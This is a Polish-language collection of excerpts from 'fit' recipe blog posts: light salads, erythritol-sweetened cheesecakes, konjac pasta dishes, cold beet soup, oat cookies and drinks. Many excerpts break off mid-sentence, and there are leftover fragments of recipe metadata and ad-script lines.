pora łyżka pokrojonej w minimalną kostkę marchewki (marchew kroimy julienne i następnie w kostkę) garstka  roszponki FIT&EASY cienkie plastry boczku wędzonego sól, pieprz mix sałat FIT&EASY ACTIVE Wykonanie: Boczek smażymy na chrupko, wkładamy w kawałek ręcznika papierowego i od razu formujemy na wykałaczce. Jajka wbijamy do miseczki  delikatnie roztrzepujemy widelcem, doprawiamy(...)jajeczna, Do powstania grubego dużego rulonu. Omlet zdejmujemy z patelni i odkładamy na deskę. Dajemy mu chwilkę, aby przestygł. Kroimy w dogodne dla nas kawałki dekorujemy mix-em sałat Fit&Easy i czipsem z boczku. Gorąco polecam, bo naprawdę jest to pyszne i wygląda oszałamiająco

Składniki: 1 opakowanie rukoli Fit & Easy, 10 pomidorków cherry, 1 opakowanie mozzarelli w kulkach, garść grzanek, 1 sos sałatkowy Kamis Fit up, 2 łyżeczki soku z cytryny, 3 łyżki oliwy z oliwek. Przygotowanie:     Rukolę układamy na talerzu. Umyte pomidorki kroimy na ćwiartki i układamy na sałacie. Obok pomidorków układamy odcedzone kulki mozzarelli. Sos przygotowujemy(...)oliwy, soku z cytryny i fit up. Wymieszanym sosem polewamy sałatkę. Na koniec posypujemy grzankami. Podajemy na kolację albo do obiadu

Orzeszki prażone oliw ą skropione Tańcowała roszponka z buraczkami Składniki na oko, bo zależy od tego jak jesteśmy głodni (tak na 1 osobę): 150 g serka feta opakowanie roszponki “Fit&Easy” 1 duży ugotowany burak garść orzeszków pinii Do smaku: Sól, pieprz, koperek, cytrynowa oliwa z oliwek Kroimy ser feta i ugotowanego buraczka w kostkę, prażymy orzeszki(...)posypujemy orzeszkami pinii, skrapiamy cytrynow ą oliw ą z oliwek i posypujemy przyprawami. Tym super lekkim, zdrowym i ekspresowym przepisem biorę udział w zabawie kulinarnej dla blogerów "Inspiruje nas Fit&Easy" Smacznego

Oceń ten przepis Pyszne i aromatyczne leczo z cukinii z kurczakiem! Jest to niskokaloryczna fit wersja tej klasycznej potrawy . Szybki, zdrowy i bardzo sycący obiad dla całej rodziny. W zasadzie nie wymaga żadnych dodatków, ale można go serować także z niskowęglowodanowym makaronem konjac lub pieczywem. Oczywiście osoby, które nie są na keto mogą z kolei wybrać tradycyjne węglowodanowe dodatki

kolację, piknik czy do lunchboxa. Słodkie pieczone pomidory i wyrazisty twaróg pięknie się łączą w pełnoziarnistym spodzie. Posiłek drugie śniadanie, kolacja, lunch, śniadanie Kuchnia śródziemnomorska Słowo kluczowe drugie śniadanie, fit śniadanie, fit tarta, galette, lunchbox, pieczone pomidory, pomidory, pomysł do lunchboxa, pomysł na zdrowe śniadanie, tarta, tarta na słono, tarta rustykalna, tarta wegetariańska, tarta wytrawna, tarta z pomidorami

śliwkami. Przepis na pieczony, super prosty i tani sernik z serka homogenizowanego ze śliwkami. Sernik jest lekki, puszysty, delikatny i pyszny. Koniecznie wypróbuj! Jest bardzo łatwy do zrobienia. Fit sernik bez mąki, bez ubijania białek, bez spodu, a robi się go chwilkę gdyż od razu łączy się wszystkie składniki, ja nawet nie wyciągnęłam miksera, wszystko połączyłam ręczną trzepaczką. Sernik(...)kcal. Gdy wykorzystamy cukier to trochę więcej Sernik ze śliwkami można jeść na deficycie kalorycznym. Bo jeśli chcesz zjeść coś słodkiego i jednocześnie zachować figurę licząc kalorie to ten fit sernik będzie idealny dla Ciebie – można zamiast innego posiłku jeść go do woli pod warunkiem, że doliczymy go do dziennej liczby zjedzonych kalorii! Ostatnio serniki piekę na bazie tych

Sałatka z tortellini i mozzarellą to idealny pomysł zdrową kolację, imprezę ze znajomymi czy pożywny lunchbox. Sycące mini pierożki wypełnione ulubionym nadzieniem w towarzystwie sera mozzarella

Jeśli nie znacie tego genialnego połączenia, to przygotujcie się, bo oto nadchodzi Wasza nowa ulubiona sałatka tego lata. Sałatka z grillowanymi brzoskwiniami, szynką parmeńską i burratą

bloga: Facebook Instagram Pinterest Sprawdź najnowsze przepisy Deser z mango w pucharku 10 przepisów na SERNIKI BEZ PIECZENIA Sałatka z rukolą, camembertem i jajkiem Deser Kinder Bueno w pucharkach FIT SERNIK BEZ PIECZENIA – aż 20 g białka na porcję 200 kcal! | GYMBEAM Polecane desery i ciasta z borówkami – 10 PRZEPISÓW Oto kilka innych pomysłów na desery(...)mango, które warto wypróbować: Mango smoothie: Zblenduj dojrzałe mango z jogurtem naturalnym, mlekiem (lub sokiem pomarańczowym) i kostkami lodu. Możesz dodać również trochę mięty lub limonki dla odświeżającego smaku. Fit deser z mango: Ułóż w pucharku lub szklance warstwy pokrojonego mango, jogurtu naturalnego i chrupiących płatków śniadaniowych lub granoli. Ozdób całość polewą karmelową lub bitą śmietaną. Mus z mango

Soczysty pieczony kurczak w maślance to przepyszny pomysł na obiad, który zasmakuje każdemu! Rozpływające się w ustach, miękkie i soczyste mięso kurczaka po prostu oczarowuje! Jego

zapobieganie jest tańsze, a leczenie droższe. Prosty, niezawodny przepis na zdrowe słodycze dla dużych i małych. Ciastka z ksylitolem ( cukier brzozowy) który znakomicie sprawdza się w każdej diecie. Takie fit ciasteczka dla diabetyków, jak i ludzi na redukcji wagi. A wiadomo, że niskie IG , brak wskoków cukru sprzyjają odchudzaniu. Zdrowe ciasteczka owsiane bez jajek i mąki jak zrobić? Ciastka(...)Domeną takich ciastek jest to że są bardzo sycące i bardzo łatwe w przygotowaniu. Jak zrobić zdrowe ciastka z płatków owsianych? Zapraszam na przepis 🙂           Fit ciasta owsiane bez mąki przepis płatki owsiane 2 szklanki siemię lniane mielone 2,5 łyżki jogurt naturalny gęsty 400 g jabłka 2 sztuki ksylitol 3 – 4 łyżki kilka

Prosty przepis chłodnik litewski Prawdziwy chłodnik litewski przepis, tradycyjna fit, wegetariańska zupa z gotowanej botwinki. Jak zrobić dobry chłodnik litewski z jajkiem? Chłodnik na maślance, na jogurcie lub chłodnik na zsiadłym mleku. Podawany także z warzywami, kwaśną śmietaną, zsiadłym mlekiem lub jogurtem zawsze na zimno. Bo chłodnik to nie jest zupa na upalne dni. Idealna zupa na lato(...)jest prosty. Chłodnik to lekka, letnia warzywna zupa wegetariańska z dużą porcją warzyw czyli błonnika. Aby przygotować pyszny chłodnik wystarczą dobrej jakości, świeże warzywa i coś do zabielenia. Pyszna fit zupa o pięknym kolorze na upalne dni. Pomysł na obiad bez mięsa? Obiad na upalne dni. Pyszny chłodnik z botwinki sprawdzi się idealnie. Chłodnik litewski Pan Tadeusz Litewski chłodnik

Najlepszy sos pomidorowy do pizzy to jednocześnie najprostszy sos, jaki kiedykolwiek zrobicie. Zero gotowania! Jego podstawą są oczywiście smaczne, soczyste pomidory dobrej jakości. Ten sos do

Ogórek z serkiem i krewetkami to elegancka, jednocześnie dietetyczna przystawka jako zwykły posiłek i na specjalne okazje. Soczysty i chrupiący ogórek, pyszne krewetki i kremowy fit serek. Każdy kęs powoduje, że trudno poprzestać na jednym, ale przystawka jest dietetyczna, więc spokojnie można zjeść jej sporo. Jest tak prosta w przygotowaniu a jednak bardzo efektowna. Ślinka cieknie na sam widok(...)plasterki ogórka z serkiem i krewetkami są zdecydowanie godne każdej okazji. Uwielbiam krewetki, jestem pewna, że ten przepis przypadnie Wam też do gustu. Jak zrobić taką fit przystawkę? Jeśli macie świeże krewetki to trzeba je najpierw szybko usmażyć na maśle najlepiej z natką, nie przesmażcie ich bo mają być soczyste i chrupiące. Plasterki ogórka z serkiem i krewetkami

Sałatka z burakiem, fetą i batatem to pyszny pomysł na zdrową kolację czy pożywny lunch do pracy . Słodkie, pieczone buraki i bataty w zestawieniu z lekko

który w 1kg ma tylko 690 kcal, do tego 2 galaretki bez cukru: krystaliczna i wiśniowa oraz owoce. Sernik podzieliłam na 8 kawałków. Każdy ma ok. 105 kcal. Ten Fit sernik słodzony erytrolem wzbudził ogromny zachwyt na FB, dostałam całą masę sms z prośbą o przepis, musiałam się sprężyć i szybko przygotować ten wpis Polecam też dla tych(...)przepis na najlepszy sernik na zimno , Sernik z truskawkami czy też sernik na zimno z galaretkami , pomarańczowy sernik na zimno z bezami , Wielkanocny sernik na zimno z galaretkami. . Ten Fit sernik bez mąki, bez cukru, bez ubijania białek, bez spodu, zamiast cukru posłodzony jest erytrolem/ erytrytolem, który w 1 g ma tylko 0,2 kalorii. Kalorie dostarczane do organizmu

Łosoś teriyaki z makaronem soba to pyszny pomysł na obiad w stylu azjatyckim. Delikatna, soczysta ryba w klasycznym, japońskim sosie teriyaki podana na wyrazistym, gryczanym makaronie

Zupa z cukinii z ryżem konjac fit na deficycie kalorycznym. Zapewne już wiecie, że jestem na redukcyjnej diecie, wszystko co zjem wpisuję do aplikacji i wiem ile kalorii zjadłam w ciągu dnia. Tym razem zapraszam Was na coś pysznego, zdrowego i małokalorycznego: zupa z cukinii. Ten dzisiejszy przepis w szczególności polecam wszystkim tym, którzy dbają o sylwetkę i walczą(...)razem najecie się do syta! Jeśli liczysz kalorie to polecam przygotować na obiad zupę z dodatkiem makaronu konjac lub ryżu konjac, który ma 6 kcal w 100 g. Fit Zupa cukiniowa z marchewką i ryżem konjac jest bardzo pożywna i do tego smaczna, zrobiłam do niej klopsy drobiowe bez jajka, mąki czy bułki tartej. Klopsy można zrobić z większej

Puszyste i delikatne naleśniki bez mąki i mleka. Idealny bezglutenowy i bezmleczny deser, który może zjeść nawet osoba będąca na diecie. Naleśniki czekoladowe są bez laktozy i glutenu. Wegetariańskie fit pancakes na pewno posmakują zarówno dzieciom, jak i osobom dorosłym. Naleśniki z białek i budyniu  to nie to samo, co tradycyjne naleśniki, gdyż mają raczej strukturę amerykańskich(...)będziecie robić je bardzo często. Zazwyczaj zbieram do pojemnika białka np. po robieniu ciasta kruchego lub pączków i zamrażam, aby po pewnym czasie zrobić z nich  naleśniki fit . Liczba porcji: 6 Czas przygotowania: 15 minut + smażenie Przepis na naleśniki z białek i budyniu: 6 białek 1 - 2 łyżki cukru pudru 2 łyżki oleju 1 opakowanie budyniu czekoladowego

Sałatka nicejska to świetny pomysł na kolację , pożywny lunch czy lekki obiad . Ta klasyczna francuska sałatka z tuńczykiem i jajkiem w roli głównej jest prosta w

Sałatka z soczewicy z batatami i kozim serem to przepyszny pomysł na pożywną kolację lub lunchbox do pracy. Ta prosta sałatka ma pełno smaku i tekstur

Pyszne, lekkie i o dobrym rozkładzie makroskładników. FIT ciasto ucierane z żurawiną. Wiele jest przepisów na ciasta w dietetycznej wersji, ale dość długo szukałam idealnych proporcji na takiego ucierańca, w formie filmu możecie ciasto zobaczyć na moim Instagramie, polecam! Ciasto ma dużą zawartość białka, a niską zawartość węglowodanów. Jest pyszne a jedna porcja to trzy duże plastry ciasta- wiem(...)kocham jeść ciasto! ;-) Całą masę prawidłowo skomponowanych posiłków bez niedoborów, znajdziesz w moich dwóch FIT EBOOKACH! SKŁADNIKI : 4 JAJA L 1 PUSZKA CIECIORKI (240G NETTO DODAJEMY WRAZ Z ZALEWĄ!) 1/2 SZKLANKI ERYTRYTOLU 80 G MĄKI KUKURYDZIANEJ ŁYŻECZKA SODY ŁYŻECZKA PRZYPRAWY DO PIERNIKA 30 G ODŻYWKI BIAŁKOWEJ O SMAKU CZEKOLADOWYM 130 G ŻURAWINY ŚWIEŻEJ Jaja ubijam na najwyższych obrotach, mają

FIT CIASTO MARCHEWKOWE Obłędne ciacho! Przepyszne, zdrowe i dietetyczne!  1 kawałek ciasta to: 160 kcal Polecam również moje ebooki z FIT przepisami, obliczonym makro i kcal. SKŁADNIKI : CIASTO 4 jaja L/XL 1/2 szkl erytrytolu 80 g mąki kukurydzianej 2 łyżeczki pr. do pieczenia 220 g startej marchewki 25 g kakao 1 łyżeczka przyprawy do piernika bez mąki

moje genialne odkrycie ponieważ makaron ten ma tylko 9 kcal/100 g. Sam w sobie może nie ma wyrazistego smaku natomiast w połączeniu z pozostałymi składnikami tworzy nam świetną fit alternatywę tego cięższego, kalorycznego dania. Zachęcam Was do jego przetestowania. Ja proponuję Wam wersję z passatą pomidorową, oliwkami i suszonymi pomidorami. A do jej przygotowania potrzebujemy: 1 opakowanie makaronu konjac(...)posiekaną bazylię. Mieszam i podgrzewam jeszcze dosłownie 1-2 minuty.  Gdy nasz makaron jest już gotowy posypuję go z wierzchu startym na drobnych oczkach serem grana padano. Smacznego! :) Fit spaghetti z makaronem konjac Po więcej przepisów zapraszam na: https://smakujcodnia.blogspot.com

Aloo gobi , czyli aromatyczny kalafior z ziemniakami to jedno z najpopularniejszych wegetariańskich dań kuchni indyjskiej. Swój wyjątkowy smak i charakterystyczny żółty kolor zawdzięcza dodatkowi kurkumy. Idealnie

Zbilansowany obiad pełen zdrowia i kolorów dostarczy mocy na cały dzień. Kasza gryczana świetnie komponuje się z chrupiącym złocistym tofu i letnimi warzywami. Całość zwieńcza kremowy

Koktajl truskawkowo-borówkowy z kefirem to pyszny pomysł na sycący i orzeźwiający napój w upalny dzień. Posiłek drugie śniadanie, kolacja, lunch, napoje, śniadanie Kuchnia europejska, polska Słowo kluczowe fit przepis, fit śniadanie, kefir, koktajl, koktajl borówkowy, koktajl owocowy, koktajl truskawkowy, koktajl z kefirem, napój na lato, napój na upały, napoje, orzeźwiający napój, pomysł na zdrowe śniadanie, smoothie, smoothie

Lemoniada rabarbarowa to pyszny, orzeźwiający napój, idealny na ciepłe, wiosenne dni. Lemoniada jest zdrowsza i smaczniejsza niż gotowe soki i napoje, a jej przygotowanie zajmie Wam

stop-color: #343434; } Klopsiki z indyka w sosie pomidorowym to idealny pomysł na obiad dla całej rodziny. Proste w przygotowaniu, a smakują fantastycznie! Posiłek obiad Kuchnia europejska Słowo kluczowe fit obiad, fit przepis, indyk, klopsiki, obiad dla rodziny, obiad jednogarnkowy, obiad na dwa dni, pomidory, pomysł na letni obiad, prosty przepis, pulpety, pulpety z indyka, sos pomidorowy, tani

Wege klopsiki z fasoli w sosie pomidorowym to pyszny pomysł na obiad bez mięsa . Te aromatyczne, mięciutkie klopsiki skąpane w pomidorowym zaskoczą Was bogactwem smaku. To prawdziwy fit obiad – klopsiki pieczemy , a nie smażymy, dzięki czemu mają mniej kalorii i zbędnego tłuszczu niż tradycyjna wersja. Pomysł na obiad bez mięsa Nie będę oszukiwać – lubię mięso. Jednak wiem(...)pomysłem na obiad bez mięsa. Są mięciutkie i aromatyczne. To też świetny sposób na przemycenie większej ilości warzyw w posiłku. Posiłek obiad Kuchnia śródziemnomorska Słowo kluczowe czarna fasola, fasola, fit obiad, jarski obiad, klopsiki, obiad bez mięsa, obiad bez węgli, obiad dla dwojga, obiad dla rodziny, obiad dla singla, obiad jednogarnkowy, obiad na dwa dni, obiad wegetariański, pomysł

Menemen to tradycyjny turecki przepis na śniadanie. Powstaje z połączenia jajek z podsmażoną cebulką, papryką i pomidorami. Możecie być pewni, że po takim śniadaniu będziecie mieć

Dzisiaj jest pierwszy Dzień Wiosny co oznacza że powoli zaczynamy rozbierać się z zimowych ciuchów. Warto więc zadbać o to aby nasze potrawy były fit, lekkie i zdrowe. Dzisiaj dzięki uprzejmości Pasieki Miodowe Wzgórze mogłam wyczarować dla Was te przepyszne fit ciasteczka. Jako dodatku użyłam miodu spadziowo - nektarowego i tutaj pełna dowolność, jednak miód być powinien. W zależności

względu na to, że zaspakaja moją potrzebę na słodkie, gdy taka zaistnieje no i oczywiście jest idealny na wynos Nie używam cukru ale Wy spokojnie możecie go użyć, jeżeli fit przepisy nie są dla Was 😊 (adsbygoogle = window.adsbygoogle || []).push({}); Szarlotka – składniki (2 duże porcje) 600g obranych i startych jabłek 400g Skyru 70 g erytrolu (jeżeli używasz cukru to musisz(...)nagrzanym do 180C piekarniku. Po tym czasie wyjąć i odstawić do wystygnięcia. Skyr wymieszać z resztą erytrolu Układać warstwowo w szklanych pojemniczkach na wynos (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Fit Szarlotka na wynos pochodzi z serwisu DoGarow.pl

Burrata z pomidorami to najprostszy i zawsze trafiony sposób na podanie tego włoskiego sera. Kremowa, aksamitna burrata fantastycznie komponuje się ze słodkimi, soczystymi pomidorami i aromatyczną

Klopsiki z indyka w kremowym sosie pomidorowym z papryką to prosty pomysł na obiad dla całej rodziny. Delikatne, chude mięso mielone z indyka w towarzystwie aksamitnego

Dzisiaj polecam fit sałatkę z kurczakiem, która można zabrać do pracy. Sałatka ma mniej kalorii, ponieważ zamiast majonezu uzyłam jogurtu naturalnego. 100 gram majonezu zawiera 663 kcal 100 gram jogurtu naturalnego 69  Jak widać jest bardzo duża różnica. Składniki pierś wędzona z kurczaka średni ogórek kilka rzodkiewek ½ papryki 2 łyżki szczypiorku łyżka posiekanego koperku 3 ząbki czosnku(...)dodajemy 3 ząbki czosnku przeciśniętego przez praskę, pokrojony koperek sól i pieprz. Przygotowanym sosem polewamy wszystkie składniki posypujemy pokrojonym szczypiorkiem. Na koniec dodajemy pokrojone jajko i posypujemy kiełkami. Artykuł Fit sałatka z kurczakiem pochodzi z serwisu Pomysłowa kuchnia

Pyszne i puszyste pancakes z kakao i bananami. Są bardzo proste do zrobienia, zawierają dużo białka, są sycące i co tu dużo pisać pyszne! Otrzymasz 12 sztuk fit pancakes. Składniki : - 3 jaja - 3 łyżki mąki kukurydzianej - szczypta soli - 80 -100 ml kefiru/maślanki - łyżeczka proszku do pieczenia - 1 dojrzały banan Jaja wybij do misy robota i ubijaj na sztywno(...)solą. Dodaj mąkę z proszkiem, i kefir, całość wymieszaj. Dodaj rozgniecionego banana, wymieszaj całość i smaż pancakes. Otrzymasz 12 sztuk. Zjadłam z fit sosem wiśniowym i porzeczkami. *smażę bez tłuszcz

FIT SZARLOTKA Z TARTYCH JABŁEK To ciasto okazało si totalnym hitem na moim Instagramie:  https://www.instagram.com/smyk_w_kuchni_blog/ Jest ultra pyszna!  Jest ultra szybka! Zagości na stałe w Twoim menu. PRZEPIS: - 6 dużych jabłek - 150 g kaszy jaglanej - 6-7 łyżek mleka - 1/2 łyżeczki cynamonu - słodziło: erytrytol/ ksylitol 2łyżki JAKO KRUSZONKA - 50-70 g migdałów wedle uznania(...)pył lub użyj mąki migdałowej, posyp wierzch szarlotki. Ciasto odstaw na 25 minut i potem piecz. Pieczemy 40-45 minut, góra- dół, 185 stopni C. W wersji nie fit możesz dodać 70 g startego na tarce zimnego masła

moczymy w niej każdą czekoladkę i znów schładzamy w lodówce. Jedna czekoladka to przy podanych składnikach 82 kcal. Batonik bez czekolady to około 52 kcal. Wegańskie czekoladki z figą Fit czekoladki Wegańskie zdrowe słodycze Batoniki w czekoladzie Smacznego!!! Justyna Artykuł Wegańskie czekoladki z figą pochodzi z serwisu Relaxtime

Sałatka w paski . Hej u mnie na śniadanie znów sałatka fit, nazwałam ją sałatką w paski, gdyż wszystkie składniki są pokrojone w równe paski, dodałam do surowych warzyw podsmażone bez tłuszczu pieczarki. Jak dieta to dieta, a sałatki z surowych warzyw to super danie podczas odchudzania, gdyż ma mało kalorii, a objętościowo można zjeść sporo, ta sałatka ma tylko

Jedno z moich ulubionych wrześniowych śniadań – proste i niesamowicie smaczne – grzanki z serem kozim i figami z szynką prosciutto lub bez, w zależności od

owsianki znajdziesz w zakładce ŚNIADANIE Drukuj Kremowa owsianka z masłem orzechowym Kremowa owsianka z masłem orzechowym to pyszny pomysł na zdrowy początek dnia. Posiłek śniadanie Kuchnia amerykańska Słowo kluczowe fit przepis, fit śniadanie, owsianka, owsianka z owocami, płatki owsiane, pomysł na zdrowe śniadanie, śniadania, śniadania na słodko, szybkie śniadanie, zdrowe jedzenie, zdrowe śniadanie, zdrowy deser, zdrowy przepis Całkowity

Tzatziki to jeden z najsłynniejszych sosów na świecie. Ten grecki dip idealnie pasuje do grillowanych mięs i warzyw. Jest też obowiązkowym elementem na talerzu meze , czyli

Letnia sałatka z fetą, kuskusem i warzywami to pyszny pomysły na lekki lunch lub kolację w ciepłe dni. To lekki, prosty i pożywny posiłek w środziemnomorskim

słodycze, co jest bardzo ważne podczas diety. Batoniki daktylowe nie napędzają apetytu, gdyż zawierają tylko naturalną słodycz pochodzącą z suszonych daktyli. Duża zawartość błonnika sprawia, że po zjedzeniu fit batonika z daktyli czujemy się dość długo syci i nie ma efektu "wilczego głodu", jak to bywa po zjedzeniu zwykłych słodyczy. Dodatkową zaletą, oprócz walorów smakowych i zdrowotnych naturalnych fit batoników z daktyli jest ich szybkie przygotowanie i możliwość modyfikacji ich składu. Do ich wykonania można wykorzystać dowolny rodzaj orzechów, suszonych owoców, jak również rodzaj płatków. Niezmienne powinny pozostać tylko daktyle i masło orzechowe, gdyż jest to baza spajająca wszystkie składniki.  Liczba porcji: 18 - 20 Czas przygotowania: 25 minut + chłodzenie Przepis na batoniki z daktyli i płatków

Tortilla z szynką, awokado i pomidorem to idealny pomysł na zdrowe i lekkie śniadanie lub kolację. Te kolorowe roladki świetnie sprawdzą się też jako lunch do

Śródziemnomorska sałatka z tuńczykiem to idealny pomysł na lekki, ale sycący posiłek w ciepły dzień. Przygotujesz ją z łatwo dostępnych produktów, nic nie musisz do niej

Chłodnik litewski przepis, tradycyjna fit, wegetariańska zupa z gotowanej botwinki, podawana z warzywami, kwaśną śmietaną, zsiadłym mlekiem lub jogurtem na zimno. Jak zrobić samemu chłodnik litewski? Chłodnik podaje się z rzodkiewką, ogórkami, jajkiem, koprem, szczypiorkiem i innymi ziołami. Przepis na domowy chłodnik litewski jest prosty. Chłodnik to lekka, letnia warzywna zupa wegetariańska z dużą porcją warzyw czyli błonnika(...)przygotować pyszny chłodnik wystarczą dobrej jakości, świeże warzywa i coś do zabielenia. Pyszna fit zupa o pięknym kolorze na upalne dni. Pomysł na obiad bez mięsa? Obiad na upalne dni. Pyszny chłodnik z botwinki sprawdzi się idealnie. Chłodnik Przepis na chłodnik z botwinki jest bardzo stary. I choć mówi się, że to polski przepis na chłodnik, to jednak swoje

Sałatka z mango i kurczakiem, fit wiosenna sałatka. Lekka sałatka, idealna przekąska lub drugie śniadanie do pracy. Nie wiesz co zrobić z mango? Sałatka z kurczakiem, sałatą, ogórkiem i pomidorem doskonale będzie się uzupełniać z owocem mango. Przepis na szybką i smaczną sałatkę bez majonezu i jogurtu. Do sałatki z mango i ogórkiem użyłam lekkiego sosu na bazie oleju(...)lubimy. Do sałatki z kurczaka pasuje ananas, brokuły, jajko, mozzarella, feta, ryż, makaron. A do tego dużo sałaty lub mix sałat oraz pomidor, ogórek, rzodkiewka, szczypiorek.   Fit sos do sałatki Sos do sałatki to dopełnienie smaku. Nie oszukujmy się, sałatka bez sosu smakuje jak pojedynczo przegryzane składniki. Nośnikiem smaku jest tłuszcz to raz, a dwa witaminy składniki

zaledwie 10 minut! Są pyszne, zdrowe, pożywne i z powodzeniem zastąpią klasyczne słodkości. Posiłek deser Kuchnia amerykańska, angielska, europejska Słowo kluczowe angielski deser, daktyle, energy balls, energy bites, fit deser, fit przepis, jedzenie dla sportowców, kakao, kulki mocy, masło orzechowe, orzechy, orzechy arachidowe, orzechy ziemne, power balls, przekąski dla aktywnych, przekąski dla sportowców, zdrowe jedzenie, zdrowe przekąski Czas

zimie wszyscy potrzebujemy nowej energii, więcej kolorów i witamin. Dlatego przygotowałam dla Was trzy pomysły na to jak zrobić pyszny, pożywny FIT pudding kawowy z owocami, które znajdziecie na blogu Coffeedesk, zapraszam TUTAJ. Każdy … The post 3 pomysły na FIT pudding kawowy appeared first on FitSweet

Fit przepisy ostatnio zagościły na blogu, na Waszą prośbę, nie sądziłam, że się aż tak Wam spodobają. To codzienne moje proste posiłki ale pełne smaku, chciałam Wam pokazać, że można jeść zdrowo i fit i przede wszystkim ze smakiem. Takie jest to danie! Pyszne i proste! Kurczak w curry to danie na obiad lub kolację, jedna porcja

Takie drożdżowe poduchy, czyli Devonshire Splits, smakują super lekko i mogą śmiało zastąpić pączki, jeśli nie chcemy tych tradycyjnych, smażonych na głębokim tłuszczu. Poduchy wykonałam w wersji fit. Oryginalny przepis, pochodzący właśnie z Devonshire w Anglii , zawiera bitą śmietanę, a u mnie znajdziecie jogurt słodzony ksylitolem. Cały przepis na drożdżowe poduchy zawiera 1 łyżeczkę cukru i odrobinę cukru pudru(...)posypania. Myślę, że to fantastyczny przepis fit na słodko Składniki na ciasto na około 10 sztuk: 3 szklanki mąki 30 g drożdży 1 łyżeczka cukru 3 łyżki ksylitolu 250 ml letniego mleka 60 g masła 1 szczypta soli Mąkę wsypujemy do miski lub do misy miksera, dodajemy pokruszone drożdże, łyżeczkę cukru i 3 łyżki mleka. Drożdże delikatnie mieszamy, zgarniając

Łatwo jest wyczarować deser z delikatnej mąki, dużej ilości masła i cukru. Można też jednak całkiem inaczej. Czekoladowo-daktylowa babka z mąki orkiszowej w wersji FIT jest tego doskonałym przykładem. Pyszna, mocno wilgotna, pełna smaku i … The post Czekoladowo-daktylowa babka orkiszowa FIT appeared first on FitSweet

pełnych słońca, zapachu kwiatów oraz niekończących się wieczornych rozmów w ogrodzie. Czas, w którym najlepsze w roku warzywa i owoce nabierają koloru, a przygotowywanie … The post Jogurtowo-truskawkowa FIT pianka appeared first on FitSweet

Pieczona w przyprawach ciecierzyca to fenomenalna w swej prostocie FIT przekąska z ekstremalnie krótkim i dobrym składem. Doskonale sprawdzi się jako zdrowszy zamiennik cieszących się złą sławą chipsów, krakersów czy paluszków. Ponieważ pikantne, chrupiące kuleczki … The post Pieczona ciecierzyca – chrupiąca FIT przekąska appeared first on FitSweet

dobrze widzicie… chlebek bananowy ma poważną konkurencję – jogurtowy chlebek z mango FIT. Mięciutkie, pełne smaku, kuszące zapachem i kolorem ciasto, któremu nie można się oprzeć. Doskonałe do filiżanki kawy lub herbaty, na … The post Jogurtowy chlebek z mango FIT appeared first on FitSweet

dobrze widzicie… chlebek bananowy ma poważną konkurencję – jogurtowy chlebek z mango FIT. Mięciutkie, pełne smaku, kuszące zapachem i kolorem ciasto, któremu nie można się oprzeć. Doskonałe do filiżanki kawy lub herbaty, na … The post Jogurtowy chlebek z mango FIT appeared first on FitSweet

Chlebek bananowy może być podstawą do róznych eksperymentów. Warto dodać do niego rózne owoce i przyprawy, a od razu zmieni swój charakter – w ten sposób

Lubicie tofurniki? Mimo, że nie jestem weganką to uwiebial wegańsko gotować i piec. Kocham tę kuchnię za jej kreatywność i przemycanie składników odżywczych nawet do słodyczy

pokrojonego w kostk\u0119,\r","s\u00f3l, pieprz, tymianek, s\u0142odka papryka, bazylia,\r","oliwa,\r","100 g kuskusu."],"name":"Kaszka kuskus z kurczakiem w sosie cukiniowo-pomidorowym","recipeCategory":"fit, makaron i ry\u017c","cookTime":"PT0H15M","prepTime":"PT0H5M","recipeInstructions":["Na patelni rozgrza\u0107 oliw\u0119.\r","Podsma\u017cy\u0107 wyci\u015bni\u0119ty przez prask\u0119 czosnek i drobno pokrojon(...)u0107 kuskus.\r","Doprawi\u0107, dok\u0142adnie wymiesza\u0107. Dusi\u0107 kilka minut.\r","Podawa\u0107 sos cukiniowo-\u015bmietanowy na gor\u0105c\u0105 kaszk\u0119."],"recipeYield":"2","keywords":"cukinia,fit,kurczak,makaron,mi\u0119so,pomidory,proste,szybkie,warzywa","totalTime":"PT0H20M"} Drukuj Kaszka kuskus z kurczakiem w sosie cukiniowo-pomidorowym Czas przygotowania: 5 minut/y Czas gotowania/pieczenia: 15 minut/y Czas całkowity

u00f3\u0142 du\u017cego kubka jogurtu),\r","p\u00f3\u0142 szklanki mleka,\r","\u0142y\u017cka cukru [opcjonalnie]."],"name":"Szybki i zdrowy koktajl truskawkowy","recipeCategory":"bez pieczenia, desery, fit, napoje, owoce","cookTime":"PT0H0M","prepTime":"PT0H5M","recipeInstructions":["Truskawki umy\u0107 i usun\u0105\u0107 szypu\u0142ki.\r","Wszystkie sk\u0142adniki razem zmiksowa\u0107.\r","W zale\u017cno\u015bci od preferencji doda(...)u0107 mniej lub wi\u0119cej cukru (s\u0142odko\u015b\u0107), jak r\u00f3wnie\u017c mleka (g\u0119sto\u015b\u0107)."],"recipeYield":"4","keywords":"deser,fit,jogurt,koktajl,mleko,nap\u00f3j,owoce,proste,szybkie,truskawki","totalTime":"PT0H5M"} Drukuj Szybki i zdrowy koktajl truskawkowy Czas przygotowania: 5 minut/y Czas całkowity: 5 minut/y Porcje: 4 Składniki: truskawki (im więcej tym bardziej truskawkowy efekt

kawy pobudza, a pomarańczy orzeźwia) są wartości odżywcze daktyli, które mają cała mase witamin z grupy B i wartościowy błonnik, wpływają zbawiennie dla osób z zespołejm jelita wrażliwego. Te fit kulki to świetna przekąska w ciągu dnia, idealnie prawdzi się też dla osób czynnnie uprawiających sport, gdyż daktyle doskonale uzupełnią niedobór glikogenu w mięśniach i potasu (jednego z elektrolitów(...)około 1 łyżeczka). Dla bajeru możesz obtoczyć kulki w tym co najbardziej lubisz. Gotowe kulki przechowuj w lodówce (tydzień minimum), można je też mrozić. Artykuł Trufle w wersji fit z nutą pobudzającej kawy i orzeźwiającej pomarańczy pochodzi z serwisu %%http://www.greenscarf.pl/%%.

SKŁADNIKI: SPÓD - migdały - 2 szklanki (300 g) - daktyle - około 18 szt. (120 g) - kakao - (15 g)  - masło orzechowe - 4 łyżki (120 g) - woda po namoczonych

miód, kalorii niestety ma tyle samo, ale chociaż dostarczamy w ten sposób chociaż witamin. Inne zamienniki to syrop daktylowy czy syrop klonowy. Jednak jeśli chcesz lemoniadę w wersji FIT to użyj erytrolu. Ja na litr lemoniady używam dwóch cytryn, kilka gałązek mięty, używam tej grubolistnej jest najlepsza! Dodaje zawsze też sok z 1/2 limonki, która nadaje ten specyficzny smak(...)dłoniach mięte, kostki lodu, dodaję wodę gazowaną i całość dosładzam erytrolem. Jest przepyszna! Polecam każdemu! Można pić bez wyrzutów sumienia! Niebawem podzielę się z Tobą kolejnym pomysłem na FIT LEMONIADĘ

